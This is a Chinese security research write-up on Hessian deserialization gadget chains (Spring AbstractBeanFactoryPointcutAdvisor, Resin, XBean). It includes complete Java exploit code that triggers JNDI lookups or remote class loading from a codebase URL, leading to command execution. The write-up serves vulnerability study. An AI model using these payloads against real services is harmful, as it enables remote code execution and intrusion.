1 2 3 4 5 6 7 8 9 doInContext:155 , JndiTemplate$1 (org.springframework.jndi) execute:87 , JndiTemplate (org.springframework.jndi) lookup:152 , JndiTemplate (org.springframework.jndi) lookup:179 , JndiTemplate (org.springframework.jndi) lookup:95 , JndiLocatorSupport (org.springframework.jndi) doGetSingleton:211 , SimpleJndiBeanFactory (org.springframework.jndi.support) doGetType:219 , SimpleJndiBeanFactory (org.springframework.jndi.support) getType:184 , SimpleJndiBeanFactory (org.springframework.jndi.support) ...
根据分析很容易理解exp构造,在exp构造中,很多类没有无参数构造方法,这里参考marshalsec中的设计,非常巧妙
Spring AbstractBeanFactoryPointcutAdvisor链 利用链 1 2 3 4 5 6 7 8 9 SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support) AbstractBeanFactoryPointcutAdvisor.getAdvice() (org.springframework.aop.support) AbstractPointcutAdvisor.equals() (org.springframework.aop.support) HotSwappableTargetSource.equals() (org.springframework.aop.target) HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package org.dili.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.jndi.support.SimpleJndiBeanFactory;import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class AbstractBeanFactoryPointcutAdvisorHessian { public static void main (String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/ppkhjx" ; SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory (); beanFactory.setShareableResources(url); String defaultBeanFactoryPointcutAdvisor = "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" ; Constructor<?> constructor = Class.forName(defaultBeanFactoryPointcutAdvisor).getDeclaredConstructor(new Class []{}); DefaultBeanFactoryPointcutAdvisor advisor1 = (DefaultBeanFactoryPointcutAdvisor) constructor.newInstance(); advisor1.setAdviceBeanName(url); advisor1.setBeanFactory(beanFactory); AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor (); HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource ("1" ); HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource ("2" ); HashMap hashMap = new HashMap (); hashMap.put(targetSource1, "111" ); hashMap.put(targetSource2, "222" ); String classname = "org.springframework.aop.target.HotSwappableTargetSource" ; setFiled(classname, targetSource1, "target" , advisor1); setFiled(classname, targetSource2, "target" , advisor2); FileOutputStream fileOutputStream = new FileOutputStream ("JavaSec/out/AbstractBeanFactoryPointcutAdvisorHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("JavaSec/out/AbstractBeanFactoryPointcutAdvisorHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setFiled (String classname, Object o, String fieldname, Object value) throws Exception { Class<?> aClass = Class.forName(classname); Field field = aClass.getDeclaredField(fieldname); field.setAccessible(true ); field.set(o, value); } }
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lookup:417 , InitialContext (javax.naming) doInContext:155 , JndiTemplate$1 (org.springframework.jndi) execute:87 , JndiTemplate (org.springframework.jndi) lookup:152 , JndiTemplate (org.springframework.jndi) lookup:179 , JndiTemplate (org.springframework.jndi) lookup:95 , JndiLocatorSupport (org.springframework.jndi) doGetSingleton:211 , SimpleJndiBeanFactory (org.springframework.jndi.support) getBean:111 , SimpleJndiBeanFactory (org.springframework.jndi.support) getAdvice:116 , AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support) equals:76 , AbstractPointcutAdvisor (org.springframework.aop.support) equals:104 , HotSwappableTargetSource (org.springframework.aop.target) putVal:634 , HashMap (java.util) put:611 , HashMap (java.util) readMap:114 , MapDeserializer (com.caucho.hessian.io) readMap:538 , SerializerFactory (com.caucho.hessian.io) readObject:2110 , Hessian2Input (com.caucho.hessian.io) main:74 , AbstractBeanFactoryPointcutAdvisorHessian (org.dili.hessian)
详细分析 第一步
从Hessian2Input的readObject方法开始,和上面一致,来到MapDeserializer的readMap方法,同样进入while循环,读取完一轮后,即将exp中第一次的put读入map中
接着在第二轮中触发链的执行
第二步
同样根据HashMap的属性,会在第二轮读取键值对时进行equals方法的调用
此时的key为HotSwappableTargetSource对象,里面的target为AsyncAnnotationAdvisor对象;而k也为HotSwappableTargetSource对象,里面的参数为DefaultBeanFactoryPointcutAdvisor对象
第三步
进入HotSwappableTargetSource的equals方法,继续调用target的equals方法,同时传递的参数为k对象的target。由于AsyncAnnotationAdvisor对象没有equals方法,调用父类AbstractPointcutAdvisor的equals方法,此时的other为DefaultBeanFactoryPointcutAdvisor对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Override public boolean equals (Object other) { if (this == other) { return true ; } if (!(other instanceof PointcutAdvisor)) { return false ; } PointcutAdvisor otherAdvisor = (PointcutAdvisor) other; return (ObjectUtils.nullSafeEquals(getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(getPointcut(), otherAdvisor.getPointcut())); }
注 :关于两个if
第一个:两个HotSwappableTargetSource对象里面的target不能一致
第二个:传入的other对象需要是PointcutAdvisor实例,正好DefaultBeanFactoryPointcutAdvisor继承AbstractBeanFactoryPointcutAdvisor,而该类继承AbstractPointcutAdvisor,接着继承PointcutAdvisor,符合要求
第四步 :
进入DefaultBeanFactoryPointcutAdvisor对象的getAdvice方法,由于该类没有此方法,调用父类AbstractBeanFactoryPointcutAdvisor的getAdvice方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Override public Advice getAdvice () { Advice advice = this .advice; if (advice != null ) { return advice; } Assert.state(this .adviceBeanName != null , "'adviceBeanName' must be specified" ); Assert.state(this .beanFactory != null , "BeanFactory must be set to resolve 'adviceBeanName'" ); if (this .beanFactory.isSingleton(this .adviceBeanName)) { advice = this .beanFactory.getBean(this .adviceBeanName, Advice.class); this .advice = advice; return advice; } else { synchronized (this .adviceMonitor) { advice = this .advice; if (advice == null ) { advice = this .beanFactory.getBean(this .adviceBeanName, Advice.class); this .advice = advice; } return advice; } } }
这里和PartiallyComparableAdvisorHolder链的后半部分类似,需要借助SimpleJndiBeanFactory对象,因此将beanFactory属性设置为SimpleJndiBeanFactory对象,根据后面SimpleJndiBeanFactory对象的getBean方法,要将adviceBeanName设置为JNDI url
注 :
这里的this.beanFactory.isSingleton(this.adviceBeanName)要返回true,根据分析,需要将SimpleJndiBeanFactory对象的shareableResources属性中塞入Ldap url,通过setShareableResources方法
第五步
进入SimpleJndiBeanFactory对象的getBean方法
1 2 3 4 5 6 7 8 9 10 11 12 public <T> T getBean (String name, Class<T> requiredType) throws BeansException { try { return this .isSingleton(name) ? this .doGetSingleton(name, requiredType) : this .lookup(name, requiredType); } catch (NameNotFoundException var4) { throw new NoSuchBeanDefinitionException (name, "not found in JNDI environment" ); } catch (TypeMismatchNamingException var5) { throw new BeanNotOfRequiredTypeException (name, var5.getRequiredType(), var5.getActualType()); } catch (NamingException var6) { throw new BeanDefinitionStoreException ("JNDI environment" , name, "JNDI lookup failed" , var6); } }
这里的this.isSingleton(name)返回true或false都一样,因为后面两个最终都会到lookup处
第六步
后面部分跟PartiallyComparableAdvisorHolder链的后半部分一致
其他
为什么要加入HotSwappableTargetSource对象的嵌套
最初的目的想直接将DefaultBeanFactoryPointcutAdvisor对象put进入HashMap,没有这么做的原因有两点:
DefaultBeanFactoryPointcutAdvisor对象中的beanFactory与adviceBeanName属性在HashMap put之前设置,这样会导致在HashMap进行第二次put时出现异常,此时命令也执行成功,但是exp后面的序列化与反序列化部分未执行(这还有其他阻止异常的方式)
基于上述原因,考虑将DefaultBeanFactoryPointcutAdvisor对象中的beanFactory与adviceBeanName属性在HashMap进行put之后,序列化之前进行设置,这样在进行第二次put时,来到DefaultBeanFactoryPointcutAdvisor对象的getAdvice方法中会出现问题
1 2 Assert.state(this .adviceBeanName != null , "'adviceBeanName' must be specified" ); Assert.state(this .beanFactory != null , "BeanFactory must be set to resolve 'adviceBeanName'" );
而Assert.state定义如下
1 2 3 4 5 public static void state (boolean expression, String message) { if (!expression) { throw new IllegalStateException (message); } }
此时this.adviceBeanName和this.beanFactory都为null,表达式为false,取反为true,故出现异常
综上考虑,加入一层HotSwappableTargetSource对象,将HotSwappableTargetSource对象的target在put操作之后进行设置
避免出现异常,exp执行终止而导致为序列化的方法
在AbstractPointcutAdvisor类中的equals方法,存在两个getAdvice,其实在hashMap中,两个key调换顺序都会触发执行,只不过调用栈会有所不同
Resin链 依赖
1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > resin</artifactId > <version > 4.0.63</version > </dependency >
利用链 1 2 3 4 5 6 7 8 9 10 11 12 NamingManager.getObjectFactoryFromReference() (javax.naming.spi) NamingManager.getObjectInstance() (javax.naming.spi) NamingManager.getContext() (javax.naming.spi) ContinuationContext.getTargetContext() (javax.naming.spi) ContinuationContext.composeName() (javax.naming.spi) QName.toString() (com.caucho.naming) XString.equals() (com.sun.org.apache.xpath.internal.objects) HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 package org.dili.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.CannotProceedException;import javax.naming.Context;import javax.naming.Reference;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;public class ResinHessian { public static void main (String[] args) throws Exception { String refAddr = "http://127.0.0.1:8888/" ; String refClassName = "test" ; Reference ref = new Reference (refClassName, refClassName, refAddr); Object cannotProceedException = Class.forName("javax.naming.CannotProceedException" ).getDeclaredConstructor().newInstance(); String classname = "javax.naming.NamingException" ; setFiled(classname, cannotProceedException, "resolvedObj" , ref); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext" ); Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true ); Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable <>()); QName qName = new QName (continuationContext, "aaa" , "bbb" ); String str = unhash(qName.hashCode()); XString xString = new XString (str); HashMap hashMap = new HashMap (); hashMap.put(qName, "111" ); hashMap.put(xString, "222" ); FileOutputStream fileOutputStream = new FileOutputStream ("JavaSec/out/ResinHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("JavaSec/out/ResinHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setFiled (String classname, Object o, String fieldname, Object value) throws Exception { Class<?> aClass = Class.forName(classname); Field field = aClass.getDeclaredField(fieldname); field.setAccessible(true ); field.set(o, value); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder (); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002" ); if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31 ; int rem = target % 31 ; if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char ) div); partial.append((char ) rem); } else { unhash0(partial, div); partial.append((char ) rem); } } }
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 exec:347 , Runtime (java.lang) <init>:6 , test newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:319 , NamingManager (javax.naming.spi) getContext:439 , NamingManager (javax.naming.spi) getTargetContext:55 , ContinuationContext (javax.naming.spi) composeName:180 , ContinuationContext (javax.naming.spi) toString:353 , QName (com.caucho.naming) equals:392 , XString (com.sun.org.apache.xpath.internal.objects) putVal:634 , HashMap (java.util) put:611 , HashMap (java.util) readMap:114 , MapDeserializer (com.caucho.hessian.io) readMap:538 , SerializerFactory (com.caucho.hessian.io) readObject:2110 , Hessian2Input (com.caucho.hessian.io) main:62 , ResinHessian (org.dili.hessian)
详细分析 第一步
还是同样的流程,Hessian2Input.readObject方法到MapDeserializer.readMap方法,来到关键的循环处,读取hashMap,依然是读取一轮后,在第二轮读取中触发
第二步
这条链依旧借助XString中的equals方法,所以在exp中第二次put进去的是XString对象,但是根据HashMap中putVal方法的了解,要想到达equals方法的调用处,需要满足前面的几个if条件:
(p = tab[i = (n - 1) & hash]) == null
p.hash == hash
其实这两个条件表达的意思一致,就是put进去的两个元素的hashcode要一致,这样才有资格到达equals方法处,第一个元素QName对象是需要利用的对象,固定不动,而XString是为了触发equals方法而构造的对象,对链的后半部分无影响,因此可以根据QName的hash来构造XString对象
目标hash:QName中有hashCode方法,直接调用即可得到目标hash
如何构造能够影响XString的hash
查看其hashCode方法
1 2 3 4 public int hashCode () { return str().hashCode();}
查看str方法
1 2 3 4 public String str () { return (null != m_obj) ? ((String) m_obj) : "" ; }
即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数
现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj
详细的逆操作算法参考网上,详细查看exp中unhash
最终通过构造的XString即可绕过两个条件,调用XString的equals方法
第三步
在XString的equals方法中会调用传入参数的toString方法,即QName对象的toString方法
第四步
进入QName的toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public String toString () { String name = null ; for (int i = 0 ; i < size(); i++) { String str = (String) get(i); if (name != null ) { try { name = _context.composeName(str, name); } catch (NamingException e) { name = name + "/" + str; } } else name = str; }
这里利用的是composeName方法,需要将_context属性设置为ContinuationContext对象,就能够调用其composeName方法进行下一步操作
那么需要到达关键点处,就需要满足相关条件,即name != null,在方法开始处name被赋值为null,只能看for循环中的操作,这里需要循环两次,第一次通过else为name赋值,第二次进入关键点,那么需要观察size方法和get方法
1 2 3 4 5 6 7 8 9 10 11 public int size () { return _items.size(); } public String get (int pos) { if (pos < _items.size()) return (String) _items.get(pos); else return null ; }
这里的items是一个数组
1 private ArrayList<String> _items = new ArrayList <String>();
因此只需要在构造QName时为_items赋值即可,有多种方法
构造方法
1 2 3 4 5 6 7 8 9 public QName (Context context, String first, String rest) { _context = context; if (first != null ) _items.add(first); if (rest != null ) _items.add(rest); }
通过成员方法
1 2 3 4 5 6 7 public Name add (int posn, String comp) throws InvalidNameException { _items.add(posn, comp); return this ; }
第五步
进入ContinuationContext类的composeName方法
1 2 3 4 5 6 public String composeName (String name, String prefix) throws NamingException { Context ctx = getTargetContext(); return ctx.composeName(name, prefix); }
进入getTargetContext方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Context getTargetContext () throws NamingException { if (contCtx == null ) { if (cpe.getResolvedObj() == null ) throw (NamingException)cpe.fillInStackTrace(); contCtx = NamingManager.getContext(cpe.getResolvedObj(), cpe.getAltName(), cpe.getAltNameCtx(), env); if (contCtx == null ) throw (NamingException)cpe.fillInStackTrace(); } return contCtx; }
首先观察关键点中所需要的参数,cpe和env,而到达关键点,需要满足if中的条件
contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null,同时在关键点参数中也会用到,因此这里需要构造,不会为null
观察ContinuationContext的构造方法
1 2 3 4 5 protected ContinuationContext (CannotProceedException cpe, Hashtable<?,?> env) { this .cpe = cpe; this .env = env; }
两个点:
cpe为CannotProceedException对象,因此需要构造该类对象,因此getResolvedObj()等方法需要在构造CannotProceedException时设置
该构造方法为protected修饰,因此通过反射得到对应的构造方法后,需要通过setAccess进行设置
第六步
进入NamingManager的getContext,看看需要传入什么参数
得到一个条件,传入的参数不能为Context实例
还是这些参数,继续进入getObjectInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); } }
其实这条链就是需要远程加载恶意类,根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成分什么,继续观察后面方法,来到getObjectFactoryFromReference方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
首先观察这里的helper.loadClass
1 static final VersionHelper helper = VersionHelper.getVersionHelper();
这里的helper是一个VersionHelper12对象,查看loadClass方法,其加载时使用了URLClassLoader
1 2 3 4 5 6 7 8 9 10 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
这里可以通过远程代码库加载类,因此这里的factoryName可以设置为恶意类名,codebase设置为远程代码库地址
重新梳理一下:
前面提到,refInfo要为Reference类,根据getResolvedObj看cpe如何构造
CannotProceedException继承NamingException,调用父类的getResolvedObj方法
1 2 3 public Object getResolvedObj () { return resolvedObj; }
因此在构造CannotProceedException对象时,需要将resolvedObj属性设置成构造的Reference对象
那么Reference如何构造,需要的点数据流如下:
cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
查看Reference的getFactoryClassName()方法
1 2 3 public String getFactoryClassName () { return classFactory; }
因此设置classFactory属性为恶意类名
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase
查看Reference的getFactoryClassLocation方法
1 2 3 public String getFactoryClassLocation () { return classFactoryLocation; }
设置classFactoryLocation属性为恶意的URL
综上,选择合适的Reference的构造方法
1 2 3 4 5 public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; }
选择这个即可
最终实例化后导致命令执行
XBean链 依赖
1 2 3 4 5 <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-naming</artifactId > <version > 4.24</version > </dependency >
利用链 1 2 3 4 5 6 7 8 9 10 11 12 NamingManager.getObjectFactoryFromReference() (javax.naming.spi) NamingManager.getObjectInstance() (javax.naming.spi) ContextUtil.resolve() (org.apache.xbean.naming.context) ContextUtil$ReadOnlyBinding.getObject() (org.apache.xbean.naming.context) Binding.toString() (com.caucho.naming) XString.equals() (com.sun.org.apache.xpath.internal.objects) HotSwappableTargetSource.equals() HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.dili.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.xbean.naming.context.WritableContext;import org.springframework.aop.target.HotSwappableTargetSource;import javax.naming.Context;import javax.naming.Reference;import java.io.FileInputStream;import java.io.FileOutputStream;import java.util.HashMap;public class XbeanHessian { public static void main (String[] args) throws Exception { String refAddr = "http://127.0.0.1:8888/" ; String refClassName = "test" ; Reference ref = new Reference (refClassName, refClassName, refAddr); WritableContext writableContext = new WritableContext (); String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding" ; Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa" , ref, writableContext); XString xString = new XString ("bbb" ); HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource (readOnlyBinding); HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource (xString); HashMap hashMap = new HashMap (); hashMap.put(targetSource1, "111" ); hashMap.put(targetSource2, "222" ); FileOutputStream fileOutputStream = new FileOutputStream ("JavaSec/out/XbeanHessian.bin" ); Hessian2Output hessian2Output = new Hessian2Output (fileOutputStream); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); FileInputStream fileInputStream = new FileInputStream ("JavaSec/out/XbeanHessian.bin" ); Hessian2Input hessian2Input = new Hessian2Input (fileInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } }
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 exec:347 , Runtime (java.lang) <init>:6 , test newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:319 , NamingManager (javax.naming.spi) resolve:73 , ContextUtil (org.apache.xbean.naming.context) getObject:204 , ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context) toString:192 , Binding (javax.naming) equals:392 , XString (com.sun.org.apache.xpath.internal.objects) equals:104 , HotSwappableTargetSource (org.springframework.aop.target) putVal:634 , HashMap (java.util) put:611 , HashMap (java.util) readMap:114 , MapDeserializer (com.caucho.hessian.io) readMap:538 , SerializerFactory (com.caucho.hessian.io) readObject:2110 , Hessian2Input (com.caucho.hessian.io) main:58 , XbeanHessian (org.dili.hessian)
详细分析 第一步
Hessian中readObject流程依旧没有变,触发点为MapDeserializer.readMap方法的第二次循环
第二步
进入第二个HotSwappableTargetSource对象的equals方法,调用第二个对象target属性的equals方法,传入的参数为第一个对象的target属性
第三步
在XString的equals方法中,会调用参数的toString方法,根据链子,这里将其设置为ContextUtil$ReadOnlyBinding对象,它继承了Binding类,因此会调用父类的toString方法,进入该方法
1 2 3 public String toString () { return super .toString() + ":" + getObject(); }
调用该对象的getObject方法
1 2 3 4 5 6 7 8 public Object getObject () { try { return ContextUtil.resolve(this .value, this .getName(), (Name)null , this .context); } catch (NamingException var2) { throw new RuntimeException (var2); } }
这里需要利用ContextUtil的resolve方法,查看该方法,观察传入的参数应该是什么?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static Object resolve (Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException { if (!(value instanceof Reference)) { return value; } else { Reference reference = (Reference)value; if (reference instanceof SimpleReference) { try { return ((SimpleReference)reference).getContent(); } catch (NamingException var6) { throw var6; } catch (Exception var7) { throw (NamingException)(new NamingException ("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var7); } } else { try { if (parsedName == null ) { parsedName = NAME_PARSER.parse(stringName); } return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment()); } } } }
这个方法调用了NamingManager.getObjectInstance方法,这和Resin链后半部分是一样的,因此这里也是加载远程的恶意类导致RCE。根据上一条链,这里传入的reference即是构造的包含恶意URL的实例化Reference对象,它是通过value参数传入进来的
回到ContextUtil$ReadOnlyBinding对象的构造,需要将value属性设置为构造的Reference对象,同时context属性需要是Context子类的实例化对象,因为在resolve方法中传入的参数就是Context对象
后面的链不再重复,和Resin后半部分一样
其他 这里套用了一层HotSwappableTargetSource后,目的是为了绕过HashMap中putVal方法中到达equals方法前的两个条件,其实Resin链也可以这么做。
如果不借用HotSwappableTargetSource,通过hash逆求解得到Xtring后,在exp中的HashMap的put操作时能够满足条件,导致RCE,但是在反序列化的时候无法触发执行,并且调试后发现p.hash==hash过不了,原因未知
总结 本文详细描述了Hessian链的相关利用及exp构造的每一步解释,代码:Java-Sec
Dubbo是一个开源的高性能、轻量级的分布式服务框架,最初由阿里巴巴集团开发并开源。它旨在提供可靠的远程服务调用和服务治理的解决方案,支持高性能和低延迟的分布式服务调用。Dubbo 支持多种网络通信协议,包括 RPC(默认)、HTTP 和 Hessian。这使得 Dubbo 可以适应不同的应用场景和技术栈。针对Hessian协议,Dubbo历史版本存在漏洞,下一步将对这些历史漏洞进行详细分析,了解Hessian的实际应用产生的漏洞。
参考 Hessian Binary Web Service Protocol (caucho.com)
Java安全之Dubbo反序列化漏洞分析 - nice_0e3 - 博客园 (cnblogs.com)
Hessian 反序列化知一二 | 素十八 (su18.org)
Java安全学习——Hessian反序列化漏洞 - 枫のBlog (goodapple.top)
注:本文首发于https://xz.aliyun.com/t/13599